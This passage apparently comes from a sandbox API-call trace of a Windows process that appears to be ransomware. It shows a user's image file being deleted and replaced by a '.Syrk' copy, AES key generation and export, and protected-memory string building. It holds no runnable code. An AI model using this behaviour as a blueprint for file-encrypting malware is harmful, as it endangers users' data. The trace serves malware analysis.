(lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp")) returned 0x20 [0245.248] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0245.248] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", lpFilePart=0x0) returned 0x30 [0245.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0245.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", lpFilePart=0x0) returned 0x30 [0245.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0245.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0245.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", lpFilePart=0x0) returned 0x30 [0245.251] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0245.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0245.251] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0245.251] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0245.252] CoTaskMemFree (pv=0x5c98368) [0245.255] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp")) returned 0x20 [0245.255] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0245.255] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp", lpFilePart=0x0) returned 0x30 [0245.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0245.255] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp"), fInfoLevelId=0x0, lpFileInformation=0x23fe3f8 | out: lpFileInformation=0x23fe3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c002ce0, ftCreationTime.dwHighDateTime=0x1d99337, ftLastAccessTime.dwLowDateTime=0x77c1900, ftLastAccessTime.dwHighDateTime=0x1d99a43, ftLastWriteTime.dwLowDateTime=0x77c1900, ftLastWriteTime.dwHighDateTime=0x1d99a43, nFileSizeHigh=0x0, nFileSizeLow=0xc851)) returned 1 [0245.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0245.255] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp")) returned 1 [0245.258] EtwEventActivityIdControl () returned 0x0 [0245.258] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.258] EtwEventActivityIdControl () returned 0x0 [0245.258] EtwEventActivityIdControl () returned 0x0 [0245.258] EtwEventActivityIdControl () returned 0x0 [0245.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp.syrk")) returned 0x20 [0245.268] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp.syrk")) returned 0x20 [0245.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0245.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk", nBufferLength=0x36, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk", lpFilePart=0x0) returned 0x35 [0245.269] EtwEventActivityIdControl () returned 0x0 [0245.269] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.270] EtwEventActivityIdControl () returned 0x0 [0245.270] EtwEventActivityIdControl () returned 0x0 [0245.270] EtwEventActivityIdControl () returned 0x0 [0245.274] EtwEventActivityIdControl () returned 0x0 [0245.274] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.274] EtwEventActivityIdControl () returned 0x0 [0245.274] EtwEventActivityIdControl () returned 0x0 [0245.274] EtwEventActivityIdControl () returned 0x0 [0245.278] EtwEventActivityIdControl () returned 0x0 [0245.278] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.278] EtwEventActivityIdControl () returned 0x0 [0245.278] EtwEventActivityIdControl () returned 0x0 [0245.278] EtwEventActivityIdControl () returned 0x0 [0245.282] EtwEventActivityIdControl () returned 0x0 [0245.282] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.283] EtwEventActivityIdControl () returned 0x0 [0245.283] EtwEventActivityIdControl () returned 0x0 [0245.283] EtwEventActivityIdControl () returned 0x0 [0245.287] EtwEventActivityIdControl () returned 0x0 [0245.287] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.287] EtwEventActivityIdControl () returned 0x0 [0245.288] EtwEventActivityIdControl () returned 0x0 [0245.288] EtwEventActivityIdControl () returned 0x0 [0245.291] EtwEventActivityIdControl () returned 0x0 [0245.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0245.295] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-lvNlIwLh6qJBQ7x.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-lvnliwlh6qjbq7x.bmp.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2408130 | out: lpFileInformation=0x2408130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde07a50, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xde07a50, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xde2dbb0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xc874)) returned 1 [0245.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0245.296] GetConsoleOutputCP () returned 0x1b5 [0245.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.297] GetConsoleOutputCP () returned 0x1b5 [0245.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.297] GetConsoleOutputCP () returned 0x1b5 [0245.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.297] GetConsoleOutputCP () returned 0x1b5 [0245.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.297] GetConsoleOutputCP () returned 0x1b5 [0245.298] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.298] GetConsoleOutputCP () returned 0x1b5 [0245.298] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.298] GetConsoleOutputCP () returned 0x1b5 [0245.298] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.298] GetConsoleOutputCP () returned 0x1b5 [0245.298] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.298] GetConsoleOutputCP () returned 0x1b5 [0245.299] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.299] GetConsoleOutputCP () returned 0x1b5 [0245.299] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.299] GetConsoleOutputCP () returned 0x1b5 [0245.299] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.299] GetConsoleOutputCP () returned 0x1b5 [0245.299] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.300] GetConsoleOutputCP () returned 0x1b5 [0245.300] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.300] GetConsoleOutputCP () returned 0x1b5 [0245.300] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.300] GetConsoleOutputCP () returned 0x1b5 [0245.300] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.300] GetConsoleOutputCP () returned 0x1b5 [0245.300] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.301] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0245.301] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.301] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2421d94*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2421d94*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0245.302] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.302] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0245.303] EtwEventActivityIdControl () returned 0x0 [0245.303] EtwEventActivityIdControl () returned 0x0 [0245.304] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.304] EtwEventActivityIdControl () returned 0x0 [0245.304] EtwEventActivityIdControl () returned 0x0 [0245.304] EtwEventActivityIdControl () returned 0x0 [0245.306] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.306] EtwEventActivityIdControl () returned 0x0 [0245.306] EtwEventActivityIdControl () returned 0x0 [0245.306] EtwEventActivityIdControl () returned 0x0 [0245.308] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0245.310] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99560) returned 1 [0245.310] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.310] CryptExportKey (in: hKey=0x5c99560, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.310] CryptExportKey (in: hKey=0x5c99560, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x242976c, pdwDataLen=0x5a2e8c4 | out: pbData=0x242976c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.310] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.311] EtwEventActivityIdControl () returned 0x0 [0245.311] EtwEventActivityIdControl () returned 0x0 [0245.311] EtwEventActivityIdControl () returned 0x0 [0245.312] SysStringLen (param_1="") returned 0x8 [0245.312] SysStringLen (param_1="Z") returned 0x8 [0245.312] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.312] SysStringLen (param_1="\绛颎믷傆瑋㜜≁) returned 0x8 [0245.312] SysStringLen (param_1="\绛颎믷傆瑋㜜≁) returned 0x8 [0245.312] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.312] SysStringLen (param_1="Zk") returned 0x8 [0245.312] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.312] SysStringLen (param_1="옯᭑䥀쎈낆⏚咜") returned 0x8 [0245.312] SysStringLen (param_1="옯᭑䥀쎈낆⏚咜") returned 0x8 [0245.312] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.312] SysStringLen (param_1="Zkn") returned 0x8 [0245.313] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.313] SysStringLen (param_1="⭊\쯚ᘽຏݰ眛∋) returned 0x8 [0245.313] SysStringLen (param_1="⭊\쯚ᘽຏݰ眛∋) returned 0x8 [0245.313] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.313] SysStringLen (param_1="ZknZ") returned 0x8 [0245.313] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.313] SysStringLen (param_1="\远썯ᶒ郍ᭈៀ挤⋑) returned 0x8 [0245.313] SysStringLen (param_1="\远썯ᶒ郍ᭈៀ挤⋑) returned 0x8 [0245.313] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.313] SysStringLen (param_1="ZknZO") returned 0x8 [0245.313] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.313] SysStringLen (param_1="皫槯셄◠烌꒙긢箼") returned 0x8 [0245.314] SysStringLen (param_1="皫槯셄◠烌꒙긢箼") returned 0x8 [0245.314] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.314] SysStringLen (param_1="ZknZOn") returned 0x8 [0245.314] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.314] SysStringLen (param_1="ӭ夾鐸줦渻") returned 0x8 [0245.314] SysStringLen (param_1="ӭ夾鐸줦渻") returned 0x8 [0245.314] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.314] SysStringLen (param_1="ZknZOn9") returned 0x8 [0245.314] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.314] SysStringLen (param_1="줤袠됖໶謞ᑷ玎") returned 0x8 [0245.314] SysStringLen (param_1="줤袠됖໶謞ᑷ玎") returned 0x8 [0245.314] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.315] SysStringLen (param_1="ZknZOn9s") returned 0x8 [0245.315] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.315] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ") returned 0x8 [0245.315] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ") returned 0x8 [0245.315] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ") returned 0x8 [0245.363] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ") returned 0x10 [0245.363] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.363] SysStringLen (param_1="ZknZOn9sF⹮ꋛⰱ\싙ᤥ⋠) returned 0x10 [0245.363] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.364] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ鑱櫢됊᜻䓞퇧ૣ") returned 0x10 [0245.364] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ鑱櫢됊᜻䓞퇧ૣ") returned 0x10 [0245.364] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.364] SysStringLen (param_1="ZknZOn9sFjꋛⰱ\싙ᤥ⋠) returned 0x10 [0245.364] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.364] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ좞ꕏȜ顭⻔뙔邞陊") returned 0x10 [0245.364] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ좞ꕏȜ顭⻔뙔邞陊") returned 0x10 [0245.364] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.364] SysStringLen (param_1="ZknZOn9sFjDⰱ\싙ᤥ⋠) returned 0x10 [0245.364] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.364] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ䅳팉툊ⰽﮞ丹ᶻ갲") returned 0x10 [0245.364] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ䅳팉툊ⰽﮞ丹ᶻ갲") returned 0x10 [0245.364] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.365] SysStringLen (param_1="ZknZOn9sFjDcⰱ\싙ᤥ⋠) returned 0x10 [0245.365] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.365] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ䆓襸껎䐍픕IJ") returned 0x10 [0245.365] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ䆓襸껎䐍픕IJ") returned 0x10 [0245.365] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.365] SysStringLen (param_1="ZknZOn9sFjDcY\싙ᤥ⋠) returned 0x10 [0245.365] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.365] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ썜䁔ⴛ撳婑曏⯪") returned 0x10 [0245.365] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ썜䁔ⴛ撳婑曏⯪") returned 0x10 [0245.365] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.365] SysStringLen (param_1="ZknZOn9sFjDcY2◂") returned 0x10 [0245.365] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.366] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢꭦ봉엹ὤ涣⨬") returned 0x10 [0245.366] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢꭦ봉엹ὤ涣⨬") returned 0x10 [0245.366] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.366] SysStringLen (param_1="ZknZOn9sFjDcY2q") returned 0x10 [0245.366] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.366] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ骤懥崧㎀薲䲓ꥄ撉") returned 0x10 [0245.366] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ骤懥崧㎀薲䲓ꥄ撉") returned 0x10 [0245.366] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.366] SysStringLen (param_1="ZknZOn9sFjDcY2qd") returned 0x10 [0245.366] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.366] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏") returned 0x10 [0245.367] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏") returned 0x10 [0245.367] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏") returned 0x10 [0245.367] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏") returned 0x18 [0245.367] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.367] SysStringLen (param_1="ZknZOn9sFjDcY2qdx屺ﱖ癷림௖㓥") returned 0x18 [0245.367] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.367] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏쵼ᒙ︝﹯⧀톪") returned 0x18 [0245.367] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏쵼ᒙ︝﹯⧀톪") returned 0x18 [0245.367] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.368] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVﱖ癷림௖㓥") returned 0x18 [0245.368] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.368] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏㮎ོ▬軕뇑卫\⋛) returned 0x18 [0245.368] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏㮎ོ▬軕뇑卫\⋛) returned 0x18 [0245.368] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.368] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVU癷림௖㓥") returned 0x18 [0245.368] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.368] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏뱫퓯⹩鴉츻ᾬ⮑") returned 0x18 [0245.368] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏뱫퓯⹩鴉츻ᾬ⮑") returned 0x18 [0245.368] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.368] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQ림௖㓥") returned 0x18 [0245.368] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.369] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏▌ő뉸ㆰ밭縵뎍") returned 0x18 [0245.369] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏▌ő뉸ㆰ밭縵뎍") returned 0x18 [0245.369] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.369] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQF௖㓥") returned 0x18 [0245.369] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.369] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏恧绹邡ẵ篾掩垺畕") returned 0x18 [0245.369] SysStringLen 